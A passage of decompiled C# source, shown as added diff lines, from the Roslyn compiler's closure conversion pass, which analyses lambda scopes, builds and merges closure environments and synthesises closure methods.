ImmutableArray.Enumerator enumerator = locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + TSymbol current = enumerator.Current; + if (!declareAsFree) + { + _localToScope.Add((Symbol)current, scope); + } + } + } + } + + public readonly PooledHashSet MethodsConvertedToDelegates; + + public readonly Scope ScopeTree; + + private readonly MethodSymbol _topLevelMethod; + + private readonly int _topLevelMethodOrdinal; + + private readonly VariableSlotAllocator _slotAllocatorOpt; + + private readonly TypeCompilationState _compilationState; + + public bool CanTakeRefParameters(MethodSymbol function) + { + if (!function.IsAsync && !function.IsIterator) + { + return !((HashSet)(object)MethodsConvertedToDelegates).Contains(function); + } + return false; + } + + private Analysis(Scope scopeTree, PooledHashSet methodsConvertedToDelegates, MethodSymbol topLevelMethod, int topLevelMethodOrdinal, VariableSlotAllocator slotAllocatorOpt, TypeCompilationState compilationState) + { + ScopeTree = scopeTree; + MethodsConvertedToDelegates = methodsConvertedToDelegates; + _topLevelMethod = topLevelMethod; + _topLevelMethodOrdinal = topLevelMethodOrdinal; + _slotAllocatorOpt = slotAllocatorOpt; + _compilationState = compilationState; + } + + public static Analysis Analyze(BoundNode node, MethodSymbol method, int topLevelMethodOrdinal, VariableSlotAllocator slotAllocatorOpt, TypeCompilationState compilationState, DiagnosticBag diagnostics) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Invalid comparison between Unknown and I4 + PooledHashSet instance = PooledHashSet.GetInstance(); + Analysis analysis = new Analysis(ScopeTreeBuilder.Build(node, method, (HashSet)(object)instance, diagnostics), instance, method, topLevelMethodOrdinal, slotAllocatorOpt, compilationState); + analysis.MakeAndAssignEnvironments(); + analysis.ComputeLambdaScopesAndFrameCaptures(); + if ((int)((CompilationOptions)compilationState.Compilation.Options).OptimizationLevel == 1) + { + analysis.MergeEnvironments(); + } + analysis.InlineThisOnlyEnvironments(); + return analysis; + } + + private static BoundNode FindNodeToAnalyze(BoundNode node) + { + while (true) + { + switch (node.Kind) + { + case BoundKind.SequencePoint: + node = ((BoundSequencePoint)node).StatementOpt; + break; + case BoundKind.SequencePointWithSpan: + node = ((BoundSequencePointWithSpan)node).StatementOpt; + break; + case BoundKind.FieldEqualsValue: + case BoundKind.Block: + case BoundKind.StatementList: + return node; + case BoundKind.GlobalStatementInitializer: + return ((BoundGlobalStatementInitializer)node).Statement; + default: + throw ExceptionUtilities.UnexpectedValue((object)node.Kind); + } + } + } + + private void ComputeLambdaScopesAndFrameCaptures() + { + VisitNestedFunctions(ScopeTree, delegate(Scope scope, NestedFunction function) + { + if (function.CapturedEnvironments.Count > 0) + { + PooledHashSet instance = PooledHashSet.GetInstance(); + ISetExtensions.AddAll((ISet)instance, (IEnumerable)function.CapturedEnvironments); + Scope scope2; + for (scope2 = scope; scope2 != null; scope2 = scope2.Parent) + { + ClosureEnvironment declaredEnvironment = scope2.DeclaredEnvironment; + if (declaredEnvironment != null && ((HashSet)(object)instance).Remove(declaredEnvironment) && !declaredEnvironment.IsStruct) + { + function.ContainingEnvironmentOpt = declaredEnvironment; + break; + } + } + ClosureEnvironment closureEnvironment = scope2?.DeclaredEnvironment; + scope2 = scope2?.Parent; + while (scope2 != null && ((HashSet)(object)instance).Count != 0) + { + ClosureEnvironment declaredEnvironment2 = scope2.DeclaredEnvironment; + if (declaredEnvironment2 != null) + { + if (!declaredEnvironment2.IsStruct) + { + closureEnvironment.CapturesParent = true; + closureEnvironment = declaredEnvironment2; + } + ((HashSet)(object)instance).Remove(declaredEnvironment2); + } + scope2 = scope2.Parent; + } + if (((HashSet)(object)instance).Count > 0) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/ClosureConversion/ClosureConversion.Analysis.cs", 188); + } + instance.Free(); + } + }); + } + + private void InlineThisOnlyEnvironments() + { + if (!_topLevelMethod.TryGetThisParameter(out var thisParameter) || thisParameter == null) + { + return; + } + ClosureEnvironment env = ScopeTree.DeclaredEnvironment; + if (env == null || env.CapturedVariables.Count > 1 || !env.CapturedVariables.Contains((Symbol)thisParameter)) + { + return; + } + if (env.IsStruct) + { + if (!CheckNestedFunctions(ScopeTree, (Scope scope, NestedFunction closure) => closure.CapturedEnvironments.Contains(env) && closure.ContainingEnvironmentOpt != null)) + { + RemoveEnv(); + } + } + else + { + if ((object)VarianceSafety.GetEnclosingVariantInterface(_topLevelMethod) != null) + { + return; + } + RemoveEnv(); + VisitNestedFunctions(ScopeTree, delegate(Scope scope, NestedFunction closure) + { + if (closure.ContainingEnvironmentOpt == env) + { + closure.ContainingEnvironmentOpt = null; + } + }); + } + void RemoveEnv() + { + ScopeTree.DeclaredEnvironment = null; + VisitNestedFunctions(ScopeTree, delegate(Scope scope, NestedFunction nested) + { + int num = nested.CapturedEnvironments.IndexOf(env); + if (num >= 0) + { + nested.CapturedEnvironments.RemoveAt(num); + } + }); + } + } + + private void MakeAndAssignEnvironments() + { + VisitScopeTree(ScopeTree, delegate(Scope scope) + { + SetWithInsertionOrder declaredVariables = scope.DeclaredVariables; + if (declaredVariables.Count == 0) + { + return; + } + bool isStruct = (object)VarianceSafety.GetEnclosingVariantInterface(_topLevelMethod) == null; + SetWithInsertionOrder closures = new SetWithInsertionOrder(); + bool addedItem; + do + { + addedItem = false; + VisitNestedFunctions(scope, delegate(Scope closureScope, NestedFunction closure) + { + if (!closures.Contains(closure) && (((HashSet)(object)closure.CapturedVariables).Overlaps((IEnumerable)scope.DeclaredVariables) || ((HashSet)(object)closure.CapturedVariables).Overlaps((IEnumerable)((IEnumerable)closures).Select((NestedFunction c) => c.OriginalMethodSymbol)))) + { + closures.Add(closure); + addedItem = true; + isStruct &= CanTakeRefParameters(closure.OriginalMethodSymbol); + } + }); + } + while (addedItem); + ClosureEnvironment closureEnvironment = new ClosureEnvironment((IEnumerable)declaredVariables, isStruct); + scope.DeclaredEnvironment = closureEnvironment; + _topLevelMethod.TryGetThisParameter(out var thisParameter); + foreach (NestedFunction item in closures) + { + item.CapturedEnvironments.Add(closureEnvironment); + if (thisParameter != null && closureEnvironment.CapturedVariables.Contains((Symbol)thisParameter)) + { + item.CapturesThis = true; + } + } + }); + } + + private PooledDictionary> CalculateFunctionsCapturingScopeVariables() + { + PooledDictionary> closuresCapturingScopeVariables = PooledDictionary>.GetInstance(); + PooledDictionary environmentsToScopes = PooledDictionary.GetInstance(); + VisitScopeTree(ScopeTree, delegate(Scope scope4) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + if (scope4.DeclaredEnvironment != null) + { + ((Dictionary>)(object)closuresCapturingScopeVariables)[scope4] = PooledHashSet.GetInstance(); + ((Dictionary)(object)environmentsToScopes)[scope4.DeclaredEnvironment] = scope4; + } + Enumerator enumerator2 = scope4.NestedFunctions.GetEnumerator(); + while (enumerator2.MoveNext()) + { + NestedFunction current = enumerator2.Current; + Enumerator enumerator3 = current.CapturedEnvironments.GetEnumerator(); + while (enumerator3.MoveNext()) + { + ClosureEnvironment current2 = enumerator3.Current; + ((HashSet)(object)((Dictionary>)(object)closuresCapturingScopeVariables)[((Dictionary)(object)environmentsToScopes)[current2]]).Add(current); + } + } + }); + environmentsToScopes.Free(); + Scope scope = default(Scope); + PooledHashSet val = default(PooledHashSet); + foreach (KeyValuePair> item in (Dictionary>)(object)closuresCapturingScopeVariables) + { + KeyValuePairUtil.Deconstruct>(item, ref scope, ref val); + Scope scope2 = scope; + PooledHashSet val2 = val; + if (scope2.DeclaredEnvironment == null) + { + continue; + } + Scope scope3 = scope2; + while (scope3.DeclaredEnvironment == null || scope3.DeclaredEnvironment.CapturesParent) + { + scope3 = scope3.Parent; + if (scope3 == null) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/ClosureConversion/ClosureConversion.Analysis.cs", 402); + } + if (scope3.DeclaredEnvironment != null && !scope3.DeclaredEnvironment.IsStruct) + { + ISetExtensions.AddAll((ISet)((Dictionary>)(object)closuresCapturingScopeVariables)[scope3], (IEnumerable)val2); + } + } + } + return closuresCapturingScopeVariables; + } + + private void MergeEnvironments() + { + PooledDictionary> val = CalculateFunctionsCapturingScopeVariables(); + Scope scope = default(Scope); + PooledHashSet val2 = default(PooledHashSet); + foreach (KeyValuePair> item in (Dictionary>)(object)val) + { + KeyValuePairUtil.Deconstruct>(item, ref scope, ref val2); + Scope scope2 = scope; + PooledHashSet val3 = val2; + if (((HashSet)(object)val3).Count == 0) + { + continue; + } + ClosureEnvironment declaredEnvironment = scope2.DeclaredEnvironment; + if (declaredEnvironment.IsStruct) + { + continue; + } + Scope scope3 = scope2; + Scope scope4 = scope2; + while (scope4.Parent != null && scope4.CanMergeWithParent) + { + Scope parent = scope4.Parent; + ClosureEnvironment declaredEnvironment2 = parent.DeclaredEnvironment; + if (declaredEnvironment2 == null || declaredEnvironment2.IsStruct) + { + scope4 = parent; + continue; + } + if (!((HashSet)(object)((Dictionary>)(object)val)[parent]).SetEquals((IEnumerable)val3)) + { + break; + } + scope3 = parent; + scope4 = parent; + } + if (scope3 == scope2) + { + continue; + } + ClosureEnvironment declaredEnvironment3 = scope3.DeclaredEnvironment; + foreach (Symbol capturedVariable in declaredEnvironment.CapturedVariables) + { + declaredEnvironment3.CapturedVariables.Add(capturedVariable); + } + scope2.DeclaredEnvironment = null; + foreach (NestedFunction item2 in (HashSet)(object)val3) + { + item2.CapturedEnvironments.Remove(declaredEnvironment); + if (!item2.CapturedEnvironments.Contains(declaredEnvironment3)) + { + item2.CapturedEnvironments.Add(declaredEnvironment3); + } + if (item2.ContainingEnvironmentOpt == declaredEnvironment) + { + item2.ContainingEnvironmentOpt = declaredEnvironment3; + } + } + } + foreach (PooledHashSet value in ((Dictionary>)(object)val).Values) + { + value.Free(); + } + val.Free(); + } + + internal DebugId GetTopLevelMethodId() + { + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + VariableSlotAllocator slotAllocatorOpt = _slotAllocatorOpt; + return (DebugId)(((_003F?)((slotAllocatorOpt != null) ? slotAllocatorOpt.MethodId : ((DebugId?)null))) ?? new DebugId(_topLevelMethodOrdinal, ((CommonPEModuleBuilder)_compilationState.ModuleBuilderOpt).CurrentGenerationOrdinal)); + } + + internal DebugId GetClosureId(SyntaxNode syntax, ArrayBuilder closureDebugInfo) + { + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + DebugId val = default(DebugId); + DebugId val2 = default(DebugId); + if (_slotAllocatorOpt != null && _slotAllocatorOpt.TryGetPreviousClosure(syntax, ref val)) + { + val2 = val; + } + else + { + ((DebugId)(ref val2))._002Ector(closureDebugInfo.Count, ((CommonPEModuleBuilder)_compilationState.ModuleBuilderOpt).CurrentGenerationOrdinal); + } + int num = _topLevelMethod.CalculateLocalSyntaxOffset(LambdaUtilities.GetDeclaratorPosition(syntax), syntax.SyntaxTree); + closureDebugInfo.Add(new ClosureDebugInfo(num, val2)); + return val2; + } + + public static Scope GetVariableDeclarationScope(Scope startingScope, Symbol variable) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Invalid comparison between Unknown and I4 + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Invalid comparison between Unknown and I4 + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + if (variable is ParameterSymbol { IsThis: not false }) + { + return null; + } + for (Scope scope = startingScope; scope != null; scope = scope.Parent) + { + SymbolKind kind = variable.Kind; + if ((int)kind != 8) + { + if ((int)kind == 9) + { + Enumerator enumerator = scope.NestedFunctions.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.OriginalMethodSymbol == variable) + { + return scope; + } + } + continue; + } + if ((int)kind != 13) + { + throw ExceptionUtilities.UnexpectedValue((object)variable.Kind); + } + } + if (scope.DeclaredVariables.Contains(variable)) + { + return scope; + } + } + return null; + } + + public static Scope GetScopeParent(Scope treeRoot, BoundNode scopeNode) + { + return GetScopeWithMatchingBoundNode(treeRoot, scopeNode).Parent; + } + + public static Scope GetScopeWithMatchingBoundNode(Scope treeRoot, BoundNode node) + { + return Helper(treeRoot) ?? throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/ClosureConversion/ClosureConversion.Analysis.cs", 601); + Scope Helper(Scope currentScope) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + if (currentScope.BoundNode == node) + { + return currentScope; + } + Enumerator enumerator = currentScope.NestedScopes.GetEnumerator(); + while (enumerator.MoveNext()) + { + Scope scope = Helper(enumerator.Current); + if (scope != null) + { + return scope; + } + } + return null; + } + } + + public static (NestedFunction, Scope) GetVisibleNestedFunction(Scope startingScope, MethodSymbol functionSymbol) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + for (Scope scope = startingScope; scope != null; scope = scope.Parent) + { + Enumerator enumerator = scope.NestedFunctions.GetEnumerator(); + while (enumerator.MoveNext()) + { + NestedFunction current = enumerator.Current; + if (current.OriginalMethodSymbol == functionSymbol) + { + return (current, scope); + } + } + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/ClosureConversion/ClosureConversion.Analysis.cs", 643); + } + + public static NestedFunction GetNestedFunctionInTree(Scope treeRoot, MethodSymbol functionSymbol) + { + return helper(treeRoot) ?? throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/ClosureConversion/ClosureConversion.Analysis.cs", 651); + NestedFunction helper(Scope scope) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = scope.NestedFunctions.GetEnumerator(); + while (enumerator.MoveNext()) + { + NestedFunction current = enumerator.Current; + if (current.OriginalMethodSymbol == functionSymbol) + { + return current; + } + } + Enumerator enumerator2 = scope.NestedScopes.GetEnumerator(); + while (enumerator2.MoveNext()) + { + NestedFunction nestedFunction = helper(enumerator2.Current); + if (nestedFunction != null) + { + return nestedFunction; + } + } + return null; + } + } + + public void Free() + { + MethodsConvertedToDelegates.Free(); + ScopeTree.Free(); + } + + public static void VisitNestedFunctions(Scope scope, Action action) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = scope.NestedFunctions.GetEnumerator(); + while (enumerator.MoveNext()) + { + NestedFunction current = enumerator.Current; + action(scope, current); + } + Enumerator enumerator2 = scope.NestedScopes.GetEnumerator(); + while (enumerator2.MoveNext()) + { + VisitNestedFunctions(enumerator2.Current, action); + } + } + + public static bool CheckNestedFunctions(Scope scope, Func func) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = scope.NestedFunctions.GetEnumerator(); + while (enumerator.MoveNext()) + { + NestedFunction current = enumerator.Current; + if (func(scope, current)) + { + return true; + } + } + Enumerator enumerator2 = scope.NestedScopes.GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (CheckNestedFunctions(enumerator2.Current, func)) + { + return true; + } + } + return false; + } + + public static void VisitScopeTree(Scope treeRoot, Action action) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + action(treeRoot); + Enumerator enumerator = treeRoot.NestedScopes.GetEnumerator(); + while (enumerator.MoveNext()) + { + VisitScopeTree(enumerator.Current, action); + } + } + } + + private readonly Analysis _analysis; + + private readonly MethodSymbol _topLevelMethod; + + private readonly MethodSymbol _substitutedSourceMethod; + + private readonly int _topLevelMethodOrdinal; + + private SynthesizedClosureEnvironment _lazyStaticLambdaFrame; + + private readonly Dictionary _parameterMap = new Dictionary(); + + private readonly Dictionary _frames = new Dictionary(); + + private readonly Dictionary _framePointers = new Dictionary(); + + private readonly HashSet _assignLocals; + + private MethodSymbol _currentMethod; + + private ParameterSymbol _currentFrameThis; + + private readonly ArrayBuilder _lambdaDebugInfoBuilder; + + private int _synthesizedFieldNameIdDispenser; + + private Symbol _innermostFramePointer; + + private TypeMap _currentLambdaBodyTypeMap; + + private ImmutableArray _currentTypeParameters; + + private BoundExpression _thisProxyInitDeferred; + + private bool _seenBaseCall; + + private bool _inExpressionLambda; + + private ArrayBuilder _addedLocals; + + private ArrayBuilder _addedStatements; + + private ArrayBuilder _synthesizedMethods; + + private readonly ImmutableHashSet _allCapturedVariables; + + protected override TypeMap TypeMap => _currentLambdaBodyTypeMap; + + protected override MethodSymbol CurrentMethod => _currentMethod; + + protected override NamedTypeSymbol ContainingType => _topLevelMethod.ContainingType; + + private ClosureConversion(Analysis analysis, NamedTypeSymbol thisType, ParameterSymbol thisParameterOpt, MethodSymbol method, int methodOrdinal, MethodSymbol substitutedSourceMethod, ArrayBuilder lambdaDebugInfoBuilder, VariableSlotAllocator slotAllocatorOpt, TypeCompilationState compilationState, BindingDiagnosticBag diagnostics, HashSet assignLocals) + : base(slotAllocatorOpt, compilationState, diagnostics) + { + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Invalid comparison between Unknown and I4 + _topLevelMethod = method; + _substitutedSourceMethod = substitutedSourceMethod; + _topLevelMethodOrdinal = methodOrdinal; + _lambdaDebugInfoBuilder = lambdaDebugInfoBuilder; + _currentMethod = method; + _analysis = analysis; + _assignLocals = assignLocals; + _currentTypeParameters = method.TypeParameters; + _currentLambdaBodyTypeMap = TypeMap.Empty; + _innermostFramePointer = (_currentFrameThis = thisParameterOpt); + _framePointers[thisType] = thisParameterOpt; + _seenBaseCall = (int)method.MethodKind != 1; + _synthesizedFieldNameIdDispenser = 1; + ImmutableHashSet.Builder allCapturedVars = ImmutableHashSet.CreateBuilder(); + Analysis.VisitNestedFunctions(analysis.ScopeTree, delegate(Analysis.Scope scope, Analysis.NestedFunction function) + { + allCapturedVars.UnionWith((IEnumerable)function.CapturedVariables); + }); + _allCapturedVariables = allCapturedVars.ToImmutable(); + } + + protected override bool NeedsProxy(Symbol localOrParameter) + { + return _allCapturedVariables.Contains(localOrParameter); + } + + public static BoundStatement Rewrite(BoundStatement loweredBody, NamedTypeSymbol thisType, ParameterSymbol thisParameter, MethodSymbol method, int methodOrdinal, MethodSymbol substitutedSourceMethod, ArrayBuilder lambdaDebugInfoBuilder, ArrayBuilder closureDebugInfoBuilder, VariableSlotAllocator slotAllocatorOpt, TypeCompilationState compilationState, BindingDiagnosticBag diagnostics, HashSet assignLocals) + { + Analysis analysis = Analysis.Analyze(loweredBody, method, methodOrdinal, slotAllocatorOpt, compilationState, ((BindingDiagnosticBag)diagnostics).DiagnosticBag); + ClosureConversion closureConversion = new ClosureConversion(analysis, thisType, thisParameter, method, methodOrdinal, substitutedSourceMethod, lambdaDebugInfoBuilder, slotAllocatorOpt, compilationState, diagnostics, assignLocals); + closureConversion.SynthesizeClosureEnvironments(closureDebugInfoBuilder); + closureConversion.SynthesizeClosureMethods(); + BoundStatement result = closureConversion.AddStatementsIfNeeded((BoundStatement)closureConversion.Visit(loweredBody)); + if (closureConversion._synthesizedMethods != null) + { + if (compilationState.SynthesizedMethods == null) + { + compilationState.SynthesizedMethods = closureConversion._synthesizedMethods; + } + else + { + compilationState.SynthesizedMethods.AddRange(closureConversion._synthesizedMethods); + closureConversion._synthesizedMethods.Free(); + } + } + analysis.Free(); + return result; + } + + private BoundStatement AddStatementsIfNeeded(BoundStatement body) + { + if (_addedLocals != null) + { + _addedStatements.Add(body); + body = new BoundBlock(body.Syntax, _addedLocals.ToImmutableAndFree(), _addedStatements.ToImmutableAndFree()) + { + WasCompilerGenerated = true + }; + _addedLocals = null; + _addedStatements = null; + } + return body; + } + + private void SynthesizeClosureEnvironments(ArrayBuilder closureDebugInfo) + { + Analysis.VisitScopeTree(_analysis.ScopeTree, delegate(Analysis.Scope scope) + { + Analysis.ClosureEnvironment declaredEnvironment = scope.DeclaredEnvironment; + if (declaredEnvironment != null) + { + SynthesizedClosureEnvironment synthesizedClosureEnvironment = (declaredEnvironment.SynthesizedEnvironment = MakeFrame(scope, declaredEnvironment)); + ((PEModuleBuilder)CompilationState.ModuleBuilderOpt).AddSynthesizedDefinition(ContainingType, (INestedTypeDefinition)(object)synthesizedClosureEnvironment.GetCciAdapter()); + if (synthesizedClosureEnvironment.Constructor != null) + { + AddSynthesizedMethod(synthesizedClosureEnvironment.Constructor, FlowAnalysisPass.AppendImplicitReturn(MethodCompiler.BindSynthesizedMethodBody(synthesizedClosureEnvironment.Constructor, CompilationState, Diagnostics), synthesizedClosureEnvironment.Constructor)); + } + _frames.Add(scope.BoundNode, declaredEnvironment); + } + }); + SynthesizedClosureEnvironment MakeFrame(Analysis.Scope scope, Analysis.ClosureEnvironment env) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode syntax = scope.BoundNode.Syntax; + DebugId topLevelMethodId = _analysis.GetTopLevelMethodId(); + DebugId closureId = _analysis.GetClosureId(syntax, closureDebugInfo); + MethodSymbol methodSymbol = scope.ContainingFunctionOpt?.OriginalMethodSymbol ?? _topLevelMethod; + if ((object)_substitutedSourceMethod != null && methodSymbol == _topLevelMethod) + { + methodSymbol = _substitutedSourceMethod; + } + SynthesizedClosureEnvironment synthesizedClosureEnvironment = new SynthesizedClosureEnvironment(_topLevelMethod, methodSymbol, env.IsStruct, syntax, topLevelMethodId, closureId); + foreach (Symbol capturedVariable in env.CapturedVariables) + { + LambdaCapturedVariable lambdaCapturedVariable = LambdaCapturedVariable.Create(synthesizedClosureEnvironment, capturedVariable, ref _synthesizedFieldNameIdDispenser); + proxies.Add(capturedVariable, new CapturedToFrameSymbolReplacement(lambdaCapturedVariable, isReusable: false)); + synthesizedClosureEnvironment.AddHoistedField(lambdaCapturedVariable); + ((PEModuleBuilder)CompilationState.ModuleBuilderOpt).AddSynthesizedDefinition((NamedTypeSymbol)synthesizedClosureEnvironment, (IFieldDefinition)(object)lambdaCapturedVariable.GetCciAdapter()); + } + return synthesizedClosureEnvironment; + } + } + + private void SynthesizeClosureMethods() + { + Analysis.VisitNestedFunctions(_analysis.ScopeTree, delegate(Analysis.Scope scope, Analysis.NestedFunction nestedFunction) + { + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Unknown result type (might be due to invalid IL or missing references) + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + //IL_00e5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ee: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol originalMethodSymbol = nestedFunction.OriginalMethodSymbol; + SyntaxNode syntax = originalMethodSymbol.DeclaringSyntaxReferences[0].GetSyntax(default(CancellationToken)); + ClosureKind closureKind; + NamedTypeSymbol containingType; + int closureOrdinal; + if (nestedFunction.ContainingEnvironmentOpt != null) + { + SynthesizedClosureEnvironment synthesizedEnvironment = nestedFunction.ContainingEnvironmentOpt.SynthesizedEnvironment; + closureKind = ClosureKind.General; + containingType = synthesizedEnvironment; + closureOrdinal = synthesizedEnvironment.ClosureOrdinal; + } + else if (nestedFunction.CapturesThis) + { + containingType = _topLevelMethod.ContainingType; + closureKind = ClosureKind.ThisOnly; + closureOrdinal = -2; + } + else if ((nestedFunction.CapturedEnvironments.Count == 0 && (int)originalMethodSymbol.MethodKind == 0 && ((HashSet)(object)_analysis.MethodsConvertedToDelegates).Contains(originalMethodSymbol)) || (object)VarianceSafety.GetEnclosingVariantInterface(_topLevelMethod) != null) + { + containingType = GetStaticFrame(Diagnostics, syntax); + closureKind = ClosureKind.Singleton; + closureOrdinal = -1; + } + else + { + containingType = _topLevelMethod.ContainingType; + closureKind = ClosureKind.Static; + closureOrdinal = -1; + } + DebugId topLevelMethodId = _analysis.GetTopLevelMethodId(); + DebugId lambdaId = GetLambdaId(syntax, closureKind, closureOrdinal); + SynthesizedClosureMethod synthesizedLoweredMethod = new SynthesizedClosureMethod(containingType, getStructEnvironments(nestedFunction), closureKind, _topLevelMethod, topLevelMethodId, originalMethodSymbol, nestedFunction.BlockSyntax, lambdaId, CompilationState); + nestedFunction.SynthesizedLoweredMethod = synthesizedLoweredMethod; + }); + static ImmutableArray getStructEnvironments(Analysis.NestedFunction function) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + Enumerator enumerator = function.CapturedEnvironments.GetEnumerator(); + while (enumerator.MoveNext()) + { + Analysis.ClosureEnvironment current = enumerator.Current; + if (current.IsStruct) + { + instance.Add(current.SynthesizedEnvironment); + } + } + return instance.ToImmutableAndFree(); + } + } + + private SynthesizedClosureEnvironment GetStaticFrame(BindingDiagnosticBag diagnostics, SyntaxNode syntax) + { + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + if ((object)_lazyStaticLambdaFrame == null) + { + bool flag = !_topLevelMethod.IsGenericMethod; + if (flag) + { + _lazyStaticLambdaFrame = CompilationState.StaticLambdaFrame; + } + if ((object)_lazyStaticLambdaFrame == null) + { + DebugId topLevelMethodId = default(DebugId); + if (flag) + { + ((DebugId)(ref topLevelMethodId))._002Ector(-1, ((CommonPEModuleBuilder)CompilationState.ModuleBuilderOpt).CurrentGenerationOrdinal); + } + else + { + topLevelMethodId = _analysis.GetTopLevelMethodId(); + } + DebugId closureId = default(DebugId); + MethodSymbol containingMethod = (flag ? null : (_substitutedSourceMethod ?? _topLevelMethod)); + _lazyStaticLambdaFrame = new SynthesizedClosureEnvironment(_topLevelMethod, containingMethod, isStruct: false, null, topLevelMethodId, closureId); + if (flag) + { + CompilationState.StaticLambdaFrame = _lazyStaticLambdaFrame; + } + SynthesizedClosureEnvironment lazyStaticLambdaFrame = _lazyStaticLambdaFrame; + ((PEModuleBuilder)CompilationState.ModuleBuilderOpt).AddSynthesizedDefinition(ContainingType, (INestedTypeDefinition)(object)lazyStaticLambdaFrame.GetCciAdapter()); + AddSynthesizedMethod(lazyStaticLambdaFrame.Constructor, FlowAnalysisPass.AppendImplicitReturn(MethodCompiler.BindSynthesizedMethodBody(lazyStaticLambdaFrame.Constructor, CompilationState, diagnostics), lazyStaticLambdaFrame.Constructor)); + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(lazyStaticLambdaFrame.StaticConstructor, syntax, CompilationState, diagnostics); + BoundBlock body = syntheticBoundNodeFactory.Block(syntheticBoundNodeFactory.Assignment(syntheticBoundNodeFactory.Field(null, lazyStaticLambdaFrame.SingletonCache), syntheticBoundNodeFactory.New(lazyStaticLambdaFrame.Constructor)), new BoundReturnStatement(syntax, (RefKind)0, null, @checked: false)); + AddSynthesizedMethod(lazyStaticLambdaFrame.StaticConstructor, body); + } + } + return _lazyStaticLambdaFrame; + } + + private BoundExpression FrameOfType(SyntaxNode syntax, NamedTypeSymbol frameType) + { + return FramePointer(syntax, frameType.OriginalDefinition); + } + + protected override BoundExpression FramePointer(SyntaxNode syntax, NamedTypeSymbol frameClass) + { + if ((object)_currentFrameThis != null && TypeSymbol.Equals(_currentFrameThis.Type, frameClass, (TypeCompareKind)0)) + { + return new BoundThisReference(syntax, frameClass); + } + SynthesizedClosureMethod synthesizedClosureMethod = _currentMethod as SynthesizedClosureMethod; + if (synthesizedClosureMethod != null) + { + for (int i = synthesizedClosureMethod.ParameterCount - synthesizedClosureMethod.ExtraSynthesizedParameterCount; i < synthesizedClosureMethod.ParameterCount; i++) + { + ParameterSymbol parameterSymbol = synthesizedClosureMethod.Parameters[i]; + if (TypeSymbol.Equals(parameterSymbol.Type.OriginalDefinition, frameClass, (TypeCompareKind)0)) + { + return new BoundParameter(syntax, parameterSymbol); + } + } + } + Symbol symbol = _framePointers[frameClass]; + if (proxies.TryGetValue(symbol, out CapturedSymbolReplacement value)) + { + return value.Replacement(syntax, (NamedTypeSymbol frameType) => FramePointer(syntax, frameType)); + } + LocalSymbol localSymbol = (LocalSymbol)symbol; + return new BoundLocal(syntax, localSymbol, null, localSymbol.Type); 